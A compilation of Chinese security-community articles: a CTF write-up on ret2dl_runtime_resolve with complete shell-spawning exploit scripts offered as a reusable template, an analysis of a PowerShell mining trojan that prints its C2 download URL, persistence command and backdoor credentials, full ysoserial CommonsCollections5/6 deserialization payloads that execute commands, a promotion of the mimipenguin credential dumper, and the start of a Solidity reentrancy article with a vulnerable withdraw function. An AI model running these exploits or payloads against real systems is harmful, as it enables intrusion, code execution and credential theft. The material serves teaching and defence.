我base_stage + 32可能在这4个部分的任意位置，但这样是不行的，他的结构体只能从开头开始，所以我需要取他的这段开头的地址
* 假设我在第3部分，第一个3的位置，那我base_stage + 32就是0x8048a88
* 利用上面那个计算方式就是0x10 - ((0x8048a88 - 0x8048a00) & 0xf) = 0x10 - 0x8 = 0x8
* 故我的地址在加上align后就变成0x8048a90刚好是对齐了
#### 第二部分
index_dynsym = (fake_sym_addr - dynsym)/0x10
r_info = index_dynsym << 8 | 0x7
read_got = elf.got['setvbuf']
fake_sys_rel = flat([read_got, r_info])
#构造.rel.plt表
* 然后利用这个对齐后的地址开始构造，我可以求出他在.rel.plt表中的偏移,别忘了，我当初说过的，这是相对偏移，所以我们要求r_info也是相对偏移，
* 先通过( fake_sym_addr - dynsym(基地址) )/0x10,求出偏移
* 然后再在这个地址后面添加上07标识，表示这个函数是导入函数，所以就变成了,左移8位就是增加一个字节，两位二进制位， |7相当于加7
* 然后我们需要一个地址进行写入，以后调用跳到这个表的函数就会直接去到函数的真实地址了，不过这里我们只需调用一次，不需要二次调用，所以地址可以随便写，当然，要可写的地址。。。我取了setvbuf的got表，然后将他做成个结构体
* flat([])就是将里面的全变成字符
#### 第三部分
st_name = fake_sym_addr + 0x10 - dynstr
fake_sys = flat([st_name, 0, 0, 0x12])
* 构造dynsym表里的结构体，如果你不记得他具体结构是什么，往上翻一下，我们需要伪造的只有第一项跟第四项，其余为0，第一项为st_name，也就是符号的具体偏移位置，第四项标识为导入函数
* 这里我将fake_sym_addr + 0x10作为'system\x00'的地址，然后求出相对偏移，然后将他构造成一个结构体
#### 第四部分
index_offset = base_stage + 24 - rel_plt
这部分是最后的了，这个偏移就是拿来寻找.rel.plt表的
构造完后，我们需要构造ROP链了
### ROP链的构造
说实话，我好几次看这个ROP链，我都被绕晕了，搞了好几次才完全理解，忘了结构体的原因，建议不要跟博主一样这样命名，结构体最后加个fake_sys_struct这样的，方便看
#### 第一部分
rop = ROP('./pwn')
sh = '/bin/sh'
* 初始化ROP链和参数
#### 第二部分
rop.raw(plt0)
rop.raw(index_offset)
* 先plt0，我已经说过了，调用那部分地址，才能利用_dl_runtime_resolve
* 然后传入偏移,32位是用栈传参的，也就是这样
* 如果是64位，这里还得调整下，先利用pop将参数弄到寄存器里，在调用plt0
#### 第三部分
rop.raw('bbbb')
rop.raw(base_stage+82)
* bbbb为返回地址
* base-stage + 82 为函数参数，这个函数是我们最后将程序控制权交给他的函数，本题里也就是system函数
这里具体为什么是这里，你可以从gdb调试看出来，他里面
gdb-peda$ disassemble _dl_runtime_resolve
Dump of assembler code for function _dl_runtime_resolve:
=> 0xf7f7e6c0 <+0>: push eax
0xf7f7e6c1 <+1>: push ecx
0xf7f7e6c2 <+2>: push edx
0xf7f7e6c3 <+3>: mov edx,DWORD PTR [esp+0x10]
0xf7f7e6c7 <+7>: mov eax,DWORD PTR [esp+0xc]
0xf7f7e6cb <+11>: call 0xf7f78ac0 <_dl_fixup>
0xf7f7e6d0 <+16>: pop edx
0xf7f7e6d1 <+17>: mov ecx,DWORD PTR [esp]
0xf7f7e6d4 <+20>: mov DWORD PTR [esp],eax
0xf7f7e6d7 <+23>: mov eax,DWORD PTR [esp+0x4]
0xf7f7e6db <+27>: ret 0xc
End of assembler dump.
* 从上图可以看出，他直接将栈迁移到了system函数那里，看到这里不由得佩服前人们，研究出了这些攻击方法，然后后面又提高了栈， ret 0xc平衡堆栈过后就刚好对应上了
看参数
* 这里arg[0]就是返回地址，
* arg[1]就是参数了
* 符合了原来的说法，调用完dl_runtime_resolve后将程序控制权交给解析出来的函数。。我先把后面的过程讲了，我在绕回来讲表吧
#### 第四部分
rop.raw('bbbb')
rop.raw('bbbb')
* 进行填充，使位置达到base_stage + 24
#### 第五部分
rop.raw(fake_sys_rel)
* 填入.rel.plt里的一个结构体，用于解析函数
#### 第六部分
rop.raw(align * 'a')
* 填充对齐部分
#### 第七部分
rop.raw(fake_sys)
* 这里填入的是一个结构体，大小为0x10，fake_sys->st_name后去找我们的dynstr，这里st_name构造的就是这里地址在加0x10，所以这个结构体过后就是system字符串地址了
#### 第八部分
rop.raw('system\x00')
#### 第九部分
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())
* 这里打印出来是82,rop链的自动对齐，所以接下来是参数内容/bin/sh
#### 第十部分
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
io.sendline(rop.chain())
io.interactive()
完整构造就这样完成了，接下来直接打就能成功了。
先贴上完整exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
offset = 44
elf = ELF('./pwn')
io = process('./pwn')
rop = ROP('./pwn')
bss_addr = elf.bss()
stack_size = 0x800
base_stage = bss_addr + stack_size
rop.raw('a'*offset)
rop.read(0, base_stage, 100)
rop.migrate(base_stage)
#gdb.attach(io)
io.sendline(rop.chain())
rop = ROP('./pwn')
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr += align
index_dynsym = (fake_sym_addr - dynsym)/0x10
st_name = fake_sym_addr + 0x10 - dynstr
fake_sys = flat([st_name, 0, 0, 0x12])
index_offset = base_stage + 24 - rel_plt
read_got = elf.got['setvbuf']
r_info = index_dynsym << 8 | 0x7
fake_sys_rel = flat([read_got, r_info])
sh = '/bin/sh'
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(base_stage+82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_sys_rel)
rop.raw(align * 'a')
rop.raw(fake_sys)
rop.raw('system\x00')
rop.raw('a'*(80 - len(rop.chain())))
print len(rop.chain())
rop.raw(sh+'\x00')
rop.raw('a'*(100 - len(rop.chain())))
gdb.attach(io)
io.sendline(rop.chain())
io.interactive()
终于写完了这道题。。。不过好像跟我标题好像不太符合啊，通杀，如何通杀。。。
## 通杀
* 其实这种类型题中间的构造部分完全可以不理，也就是rop链构造和表得到构造部分，你可以直接复制黏贴中间部分拿去打别的题目，也是能成功的，我测试了xctf2015的那道题，也就是ctf-wiki例题，以及iscc2019的题目都是一个套路
* 其实还有集成工具利用，叫roputils,这个也是一个库，专门用于对付ret2dllruntime
* 理解过后，这种题你会发觉很简单，因为利用方式单一，根本没有啥骚姿势学习了，都是一样的套路了
**接下来贴下roputils的利用方法，我根本没改什么，就是ctf-wiki的工具使用方法，改几个参数就行，我将需要改的参数提放到前面了**
#!/usr/bin/env python
# coding=utf-8
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
processName = 'pwn'
offset = 44
r = process('./' + processName)
context.log_level = 'debug'
rop = ROP('./' + processName)
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
是不是发觉精简好多，几乎不用写啥，我感觉这种题就是这样，原理难理解点，解题很简单，以后比赛遇到这种题，就拿这个exp改下offset和程序名，一波梭，有时候需要手动迁移下栈而已
## 总结：
* 以后遇到高级ROP这种题就一把梭了
* 妈妈在也不用担心我遇到栈的这种问题了
* 我只分析了32位程序的这种题，64位题目的结构和大小也改了，不用利用工具也可以方便的搞定，具体自行尝试了
题目和exp我已经上传到附件里 | 社区文章 |
# 安全研究 | 关于explorer一键挖矿病毒的分析研究
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近期我们的海青安全研究实验室捕获了一个新的挖矿木马样本，目前网络上还未见到关于它的分析。与以往的木马相比，这次捕获的样本有了不小的“进化”：手段更加隐蔽，清除更加困难。我们对它的各项特点进行了分析，希望给行业内带来针对此类木马的新的认识，进而发掘更有效的防护措施。
## 一、木马简介
业务环境：powershellv3及以上版本（v1/v2未测试）
## 二、木马特点
1.纯powershell编写挖矿前置脚本，不是像以前那种使用批处理等简单挖矿了，使用一系列持久化机制，保证自身挖矿功能；
2.探测防火墙，探测虚拟机，探测反木马软件，进行对应的行为；
3.修改防火墙及反木马软件配置及策略，避免一些防护软件扫描，以及防火墙将挖矿链接阻断；
4.缓存认证密码，可选增加用户等机制；
5.使用代理中转连接，每个肉鸡都是代理服务器，增加了追踪溯源难度；
6.使用更新维护机制，若不清除干净，会常常复发；
7.系统隐藏目录存放文件，且很难清除；
8.清除竞争对手，保证自己利益最大化；
9.使用涉及各方面技术较多。
执行流程
对应文件功能
网络代理方式
## 三、Powershell木马代码审计
木马powershell脚本开头定义了参数集，默认使用参数集Setup
给脚本基本变量赋值，脚本名、脚本路径、服务名等。输出木马版本为2017-12-10
自定义函数
$argv0 = Get-Item $MyInvocation.MyCommand.Definition //获取当前运行目录根据启动参数执行对应命令
首先默认执行的是setup
1、获取系统类型架构
2、比较安装目录与执行目录脚本时间差，判断是否更新服务
3、创建服务运行机制$source变量保存的是服务主函数，之后会将$source变量中的源代码编译成二进制程序
编译位二进制程序cspsvc.exe（程序名随编译的脚本名改变而改变）。
其功能是注册服务，注册服务后cspsvc.exe作用是带参数-SCMStart启动cspsvc.ps1脚本后，-SCMStart启动功能是重新以管理员权限运行cspsvc.ps1脚本
4 、配置服务运行账户，默认为LocalSystem。
5、尝试从c:windowsfontsarialconfig.xml配置文件中读取配置，若配置文件不存在，尝试从c:windowsSoftwareDistributionconfig.xml复制过来，若都不存在，则使用下列地址配置挖矿账户和矿池。
初始化探测反木马软件、探测防火墙等配置
如果有域，则使用域后门机制
6、本地后门文件隐藏如果不存在文件c:windowsSoftwareDistributionconfig.xml、C:Windowsfontsarialconfig.xml，不存在隐藏文件夹C:Windowsfontsarial则创建文件夹C:Windowsfontsarial
7、设置读取矿机WEBUI内配置信息解析格式，以供后续使用
8、修改计算机注册表HKEY_LOCAL_MACHINESYSTEMSoftwareMicrosoftDriversPath
从上述第三个步骤开始进入另外一个进程分支，即服务模式运行，即-SCM参数启动脚本
Service段代码被加密，将代码中的iex改为echo，解密后分析其执行代码结构。
1、通过bios信息判断机器是否是虚拟机，如果是，是哪种，不是则为物理机
2、排除掉自己的挖矿进程外，干掉挖矿竞争对手，即带有关键字xmr、miner、programdatanew、programdatawin、programdataWindow、programdataWindows等进程。
3、判断域名内是否带有csd、CSP、SERVER-BI、环境变量$env:COMPUTERNAME、WIN-IT9E5B2V9AE、IT9E5B、xzspn、dtlab，若有则测试127.0.0.1:5650tcp端口是否打开，如果没有打开探测路径C:Program
Files (x86)Remote Manipulator System – Host，如果有就删除C:Program Files (x86)Remote
Manipulator System –
Host，然后下载[http://185.48.59.45/uni/RMS.exe到C:ProgramDataRMS.exe，然后运行，接着更改防火墙配置；](http://185.48.59.45/uni/RMS.exe%E5%88%B0C:/ProgramData/RMS.exe%EF%BC%8C%E7%84%B6%E5%90%8E%E8%BF%90%E8%A1%8C%EF%BC%8C%E6%8E%A5%E7%9D%80%E6%9B%B4%E6%94%B9%E9%98%B2%E7%81%AB%E5%A2%99%E9%85%8D%E7%BD%AE%EF%BC%9B)
如果IP为212.16.70.23然后下载[http://185.48.59.45/uni/RMS.exe到C:ProgramDataRMS.exe，然后运行，接着更改防火墙配置；](http://185.48.59.45/uni/RMS.exe%E5%88%B0C:/ProgramData/RMS.exe%EF%BC%8C%E7%84%B6%E5%90%8E%E8%BF%90%E8%A1%8C%EF%BC%8C%E6%8E%A5%E7%9D%80%E6%9B%B4%E6%94%B9%E9%98%B2%E7%81%AB%E5%A2%99%E9%85%8D%E7%BD%AE%EF%BC%9B)
4、请求dns，’msupdate.info’，若无响应则连接服务器为$ms = “185.48.59.45”
5、删除计划任务
6、查找路径
7、停止进程JavaCu
8、如果存在sc_nmap服务，则删除
$env:windirSystem32sc_snmp.ps1脚本和sc_nmap服务；查找进程路径名为sc_service、snmp_reciever、进程路径名为sc_snmp.ps1的进程并强行停止。
9、查看防火墙规则相关服务，并将其规则文件$env:windirSystem32firewall_rules.ps1和服务删除firewall_rules
10、终止Windows更新进程命令行为：windowsupdate.ps1
11、如果存在sc_snmp或firewall_rules服务，获取驱动路径注册表HKLM:SYSTEMSoftwareMicrosoftDriversPath中restart项，若无restart则新建键，其值为0；如果restart值为3则删除restart键值。请求计划任务start
service，如果存在则删除；创建计划任务Start Service，一分钟之后执行任务计划，运行服务。$data = (get-date).AddMinutes(1).ToString(“HH:mm”)schtasks /create /TN “Start Service” /TR
“net start cspsvc” /SC ONCE /V1 /Z /ru System /ST $data
12、如果不存在sc_snmp和firewall_rules服务，若存在任务计划名如start
service，将其删除。如果不存在目录$env:windirfontsarial，但存在$env:windirSoftwareDistributionconfig.xml，则将config.xml复制到$env:windirfontsarial。若都不存在，则在arial目录新建config.xml，将矿机配置信息写入
13、如果存在C:WindowsSoftwareDistributionwindows.log，获取config.xml中AV变量，默认为1，则默认设定认为反木马软件不存在。添加防火墙排除项。
若设定手工设定为0，则认为反木马软件存在，若机器不是服务器，判断其防火墙类型是windows defender或System Center Endpoint
Protection，接着添加扫描排除项。
针对部分域，做了特定的识别。
14、如果认定反木马软件不存在，设定矿机路径为c:windowsfontsttf，常用路径为c:windowsfontsarial，临时路径为c:windowsfontstemp。如果有域，则检查域内后门是否存在$domainsysvol$domainPolicies，接着设置注册表，将WDigest身份认证缓存在内存。
15、fw默认设置为0，若手工设置为1，则设置地图服务Mapsvc自动运行。防火墙规则开启3389，并且远程连接地址添加”185.48.59.0/24,$ips.0.0.0/8”$ips为IP的A段。这样就可以使所有处于内网地址的基本都可以连接。
16、Psw为账户选项，默认值为0，提供Psw参数为账户密码，并提供了group参数，且如果是管理员则利用WINNT组件添加用户
并添加为可登录用户
17、矿池服务器80端口若是开启，则开启757端口代理转发msupdate.info，并且703端口也代理转发到服务器185.48.59.50:80
757端口为代理矿池服务器下载转发端口，703端口为矿池连接进行挖矿流量转发端口。若无法连接互联网，若为域则从域后门复制dll到$env:windirFontsarial，若域为*mi3g*，则连接代理端口192.168.10.99:14445，若能连接C2则设定该代理IP为代理服务器。若存在文件api-ms-win-core-console-l2-2-0.dll，其内容为代理服务器列表。
18、更新矿机
访问http://msupdate.info/uni/MD5/explorerx64.exe.md5，获取最新矿机、木马ps1脚本MD5值，然后对比本地矿机、木马ps1脚本MD5值决定是否更新，若有更新，则创建任务计划”update”将文件下载到c:windowsfontstemp，然后覆盖旧文件。
更新办法：
19、根据硬件UUID，判断硬件性能，选择挖矿模式
20、测试连接矿池703端口，poolstemp.txt来源于pools.txt，根据配置和矿池连通性，从中选取一条配置，创建配置信息$GeneralPathconfig.json。
21、接着再释放一段加密代码，到c:windowssystem32driversen-USGpCheck.ps1，同上面方法，代码中的iex改为echo，解密代码，发现其作用是维护更新文件、端口转发、防火墙策略、测试矿池连通性等。
22、写入xml文件到c:windowsfonttemptask.xml，该文件作用是利用任务计划创建gpcheck，调用gpcheck.ps1
23、释放加密代码到c:windowsSystem32driversWmiPrvSE.ps1，同上方法解密其代码
首先使用wmi创建了挖矿进程 c:windowsFontsttfexplorer.exe
一旦发现分析工具，则中止挖矿进程
24、再次释放了一个精简版gpcheck.ps1，其主要功能不变但精简了不少检查。
**从第23个步骤开始进入explorer挖矿分支，矿机会监听999端口，通过本地访问可以获得矿机状态信息。**
账户adm，密码14370
## 四、IOCS
**URL**
http://msupdate.info/uni/explorerx64.exehttp://msupdate.info/uni/explorerx86.exehttp://msupdate.info/uni/visual.ziphttp://msupdate.info/test.txthttp://msupdate.info/uni/MD5/explorerx64.exe.MD5
http://msupdate.info/uni/MD5/explorerx86.exe.MD5
http://msupdate.info/uni/MD5/explorerx86.exe.md5
http://msupdate.info/uni/MD5/explorerx64.exe.md5
**File**
C:WindowsFontsarialC:WindowsFontsLogsC:WindowsFontstempC:WindowsFontsttfc:windowsSoftwareDistributionconfig.xml
c:windowssystem32driversen-USGpCheck.ps1
c:windowsSystem32driversWmiPrvSE.ps1
C:WindowsSystem32driversetcservices
C:WindowsSystem32driversetcprotocol
C:WindowsSystem32driversetcnetworks
C:WindowsSystem32driversetclmhosts.sam
C:WindowsSystem32driversetchosts
**Domain/Ip**
msupdate.info（185.48.59.45:80）185.48.59.52:34444185.48.59.51:24444185.48.59.50:14444
追踪：查询矿池代理服务器为俄罗斯IP，服务器也是俄语操作系统
所有IP都属同一个C段，相信这至少是一个长期的据点。
## 五、处置方案
### 1、进程清理
清理转发规则：
Powershell运行以下命令
> Start-Process PowerShell.exe -ArgumentList(“-c &{netsh interface portproxy
> delete v4tov4 listenport=757;netsh interface portproxy delete v4tov4
> listenport=703;pause}”) -Verb runas
清理带有System32driversWmiPrvSE.ps1文件路径的进程（可能已经退出）
### 2、注册表清理
病毒配置：HKEY_LOCAL_MACHINESYSTEMSoftwareMicrosoftDriversPath
防火墙配置清除
检查防火墙配置HKLM:SOFTWAREPoliciesMicrosoftWindows
DefenderExclusions，将防火墙策略配置修改为正常状态
修改HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigestUseLogonCredential
为0为0
### 3、文件清理
删除目录及文件
C:WindowsFontsarial
C:WindowsFontsLogs
C:WindowsFontstemp
C:WindowsFontsttf
c:windowsSoftwareDistributionconfig.xml
c:windowssystem32driversen-USGpCheck.ps1
c:windowsSystem32driversWmiPrvSE.ps1
C:WindowsSystem32driversetcservices
C:WindowsSystem32driversetcprotocol
C:WindowsSystem32driversetcnetworks
C:WindowsSystem32driversetclmhosts.sam
C:WindowsSystem32driversetchosts
若为域则要清除\$domainsysvol$domainPolicies及其子目录下的explorer.exe
正常情况下文件资源管理器是看不到logs目录的，而且显示了隐藏文件夹（win10和winserver2008下）也看不到，但可以在cmd或者powershell可以探测到
使用PCHUNTER强行删除，或者进入安全模式下删除，或者使用强力的杀毒软件对指定目录进行清除。
### 4、服务清理
服务名cspsvc，显示名为Cryptographic Service Providers。
### 5、任务计划清理
任务计划GpCheck
### 6、批量排查
Nmap批量扫描999端口
账户adm，密码14370 | 社区文章 |
# ysoserial CommonsCollections5/6 详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
CC5 、CC6 链利用了新的反序列化触发点，命令执行为CC1的利用方式，作者换了两个反序列化入口方法。同时又引出了Java
HashMap和HashSet等利用方法，本文从基础知识、链存在的意义、链的分析构造这三大方面展开学习。
## 0x01 前置知识
### 0x1 HashSet 和 HashMap
**1\. HashMap**
HashMap实现了Map接口，该接口的作用主要是为客户提供三种方式的数据显示：只查看keys列表，只查看values列表，或以key-value形式成对查看。
拥有一个内部静态类Entry用于存储键值对，并且可以已链的形式添加多个元素
在HashMap中Entry类型的变量名叫table
通过反射的方法获取HashMap中的key或value
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException {
HashMap<Integer, Integer> map = new HashMap(1,2);
map.put(1,1);
Class mapClass = map.getClass();
Field tableField = mapClass.getDeclaredField("table"); //获取的Entry数组
tableField.setAccessible(true);
Object[] array = (Object[]) tableField.get(map);
Class entryClass = array[0].getClass();
Field entryField = entryClass.getDeclaredField("key");
entryField.setAccessible(true);
Integer value = (Integer) entryField.get(array[0]);
System.out.println(value);
}
**2\. HashSet**
1. HashSet 底层是基于HashMap实现的。
2. 在HashSet中不允许出现重复的元素，HashSet 的绝大部分方法都是通过调用 HashMap 的方法来实现的。
3. HashSet要重写hashCode和equals方法，方便比较对象的值是否相等。
4. 当调用HashSet的add方法时，实际上是向HashMap中增加了一行(key-value对)
在创建HashSet的同时内部已经创建了HashMap，下图为hashSet的构造方法，可以看出HashMap在构造方法中单独创建。
在CC6中会用到该类进行相关的操作，通过反射获取HashMap，之后获取HashMap中的key和value
Field f = null;
f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
f.get(hashset)
### 0x2 LazyMap 触发命令执行链
首先回CC1命令执行（`https://www.anquanke.com/post/id/230788`）的触发点为ChainedTransformer类的transform方法，如下图所示，构造的链要正好调用这个chainedTransformer的transform方法
在其get方法中，执行了factory的tansform方法，如下图所示
那么如果factory可控就可以完成当前的任务，在LazyMap的构造方法中看到相关赋值，其内容为构造方法的第二个参数。
所以上面的ChainedTransformer可以通过构造方法与LazyMap关联
## 0x02 CommonsCollections5 分析
### 0x1 CC5 链的由来
由前置知识中的命令执行链，我们知道了目前要做的是找一个能够衔接LazyMap的get方法的调用链，回顾CC1的触发点，当时作者找到了AnnotationInvocationHandler
中的invoke方法里的一处调用
然而触发invoke方法还要跟readobject方法连在一起，凑巧的是 AnnotationInvocationHandler
的readobject方法中有一些可控的变量方法调用，如下图的memberValues就是构造参数，用户可以进行控制。
可以通过代理的方式触发invoke 方法完成命令执行。
CC5 相当于从新找了个方法接替了 AnnotationInvocationHandler 的工作，这个类就叫做
BadAttributeValueExpException 。
### 0x2 反序列化链分析
**1\. 反序列化入口点分析**
我们先来看看BadAttributeValueExpException类的readobject方法
从代码中可以看出valObj执行了toString方法，通过前几个链的学习，对反射获取变量内容应该已经非常熟悉了，这个valObj变量就是通过ois序列化流获取的val变量，因此这个地方我们是可控的。
**2\. tostring 和 get方法关联**
通过上一步操作就将问题转为 找一个类的tostring方法，之后他会调用LazyMap的get方法。确实存在这个类TiedMapEntry
，可以看看他的方法调用关系
与此同时 TiedMapEntry 构造方法中可以传递map变量
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
**3\. 紧密衔接**
之后就是 lazyMap 及命令执行部分了，可以参考 <https://www.anquanke.com/post/id/230788#h2-5>
调用栈如下
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
完整的调用链如下图所示
### 0x3 payload编写
CC5 的利用编写相对来说比较简单，整个利用延续CC1模板，添加关于TiedMapEntry 类的相关操作。
final String[] execArgs = new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator" };
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
Field valfield2 = transformerChain.getClass().getDeclaredField("iTransformers");
valfield2.setAccessible(true);
valfield2.set(transformerChain, transformers);
byte[] serializeData=serialize(val);
unserialize(serializeData);
## 0x03 CommonsCollections6 分析
### 0x1 CC6 链的由来
CC6 这个链可以说是CC5的兄弟版，这么说是有原因的，先来看看TiedMapEntry类中的两个函数
通过分析CC5
已经知道getValue函数意味着什么，CC5可以通过toString方法触发getValue，那么这条CC6链就是通过hashCode方法触发getValue。这也就是两条链不同的最根本的原因。
### 0x2 反序列化链分析
那么接下来的工作就是找到调用hashCode函数的代码，并且想办法与readObject方法关联上。下面分两步操作寻找，寻找其中的交集类。
**0x1 hashCode的调用者**
hashCode调用者特别多，作者在HashMap中找到了一处调用链，首先是HashMap的put方法
再之后是调用hash函数，完成整个利用链构造
根据参数的传递只需控制`put(K key, V value)`中的key值为
构造好的TiedMapEntry即可。目前形成的利用链如下，下一步需要和readObject方法对接
**0x2 寻找反序列化入口**
上一小节分析到了HashMap的put方法，那么接下来找一个readObject方法或者其他方法调用HashMap的put方法。作者找到了HashSet类
map 在反序列化的时候会对象化，判断是否该对象是否属于LinkedHashSet，如果不是这个map就是HashMap。至此整个利用链结构如下
**0x3 反序列化调用栈**
调试时的java执行栈
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
构造payload可以参考下图
### 0x3 payload编写
利用分析过后payload也就相对比较好写了，TiedMapEntry
之前都不用更该，主要是HashMap和HashSet之间的调用代码，在一开始的前置知识中也写很详细的介绍了。CC6
利用代码在序列化链部分主要是修改了HashSet中的HashMap中的table的key为构造好的TiedMapEntry对象。这样在HashSet触发readObject函数的时候就可以走通整个流程。
public static void main(String[] args) throws Exception {
final String[] execArgs = new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator" };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
f = HashSet.class.getDeclaredField("map");
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
f2 = HashMap.class.getDeclaredField("table");
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
keyField = node.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(node, entry);
byte[] serializeData=serialize(map);
unserialize(serializeData);
}
## 0x04 总结
CC5 和 CC6 这两个兄弟链分析过后，对java反序列化链有了更深的一层认识，链的概念又更清楚了些。CC5 和 CC6
沿用经典的InvokerTransformer
命令执行方法，但是采用了基于TiedMapEntry类的两种不同的反序列化触发链。这也为以后我们自己挖掘利用链提供了很好的思路。同样在挖掘利用链的时候要注意已经存在链的首尾两端函数，是否能和目标中的函数对应上。CC反序列化利用系列还将继续…..
本文代码 <https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/cc6.java>
## 0x05 参考文章
<https://www.cnblogs.com/nice0e3/p/13892510.html>
<https://www.anquanke.com/post/id/230788> | 社区文章 |
**双剑合璧-Linux下密码抓取神器mimipenguin发布**
**From ChaMd5安全团队核心成员 zusheng**
只要借用一下电脑，便可轻松拿到密码……“女神，借用电脑一看可否？”
前有Mimikatz，今有mimipenguin，近日国外安全研究员huntergregal发布了工具mimipenguin，一款Linux下的密码抓取神器，可以说弥补了Linux下密码抓取的空缺。huntergregal也明确表示，这款工具的思路来自Mimikatz。
项目地址：<https://github.com/huntergregal/mimipenguin>
使用实例：
**需求：**
ROOT权限
**以下环境测试通过**
* Kali 4.3.0 (rolling) x64 (gdm3)
* Ubuntu Desktop 12.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
* Ubuntu Desktop 16.04 LTS x64 (Gnome Keyring 3.18.3-0ubuntu2)
* XUbuntu Desktop 16.04 x64 (Gnome Keyring 3.18.3-0ubuntu2)
* VSFTPd 3.0.3-8+b1 (Active FTP client connections)
* Apache2 2.4.25-3 (Active/Old HTTP BASIC AUTH Sessions)
* openssh-server 1:7.3p1-1 (Active SSH connections sudo usage) | 社区文章 |
### 一、前言
在上文中，我们详细介绍了`sened()`函数，并且用相关实例介绍了`send()`函数。而倘若Solidity代码开发者进行编写时没有注意相关逻辑，那么就有可能导致变量覆盖顺序不当而产生安全问题。尤其是当函数失败回滚但系统函数却没有发觉，仍然继续执行后续代码。
而本文我们将讲述合约安全中经典的“重入攻击”。简单来说，此类型攻击带来的危害极大，并且开发者在开发智能合约的时候很容易产生此问题。所以我们不得不对这个问题进行详细的分析以便我们能够在后续的开发中有所避免。
除此之外，我们还将视野移至一些容易出问题的函数中，不过这些语句看似常用，但是其中蕴含一些安全问题。我们对此进行安全讨论，并针对部分真实安全事件进行分析。
### 二、重入攻击—区块链安全的经典问题
我们知道，以太坊合约的最典型的特点之一就是能够利用外部合约的代码。而根据我们对安全事件的分析，合约调用通常会对以太币进行处理，包括转账、提取等操作。而调用外部合约或者转账操作也需要提交外部函数调用。而在调用期间，这些函数就可能被攻击者利用，迫使合约执行进一步的代码。而最为经典的调用模式就是通过回退函数，回调函数自身。这也就是我们今天要讲述的重入攻击部分。
下面，我们针对部分代码实例进行攻击讲解。
#### 1 简单函数调用模型
倘若函数中的某些语句可以进行回调操作从而再次调用自己，那么此函数的危害将是分严重。
mapping (address => uint) private userBalances;
function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
if (!(msg.sender.call.value(amountToWithdraw)())) { throw; } // 此时，调用者代码被执行，并且又调用了自身代码
userBalances[msg.sender] = 0;
}
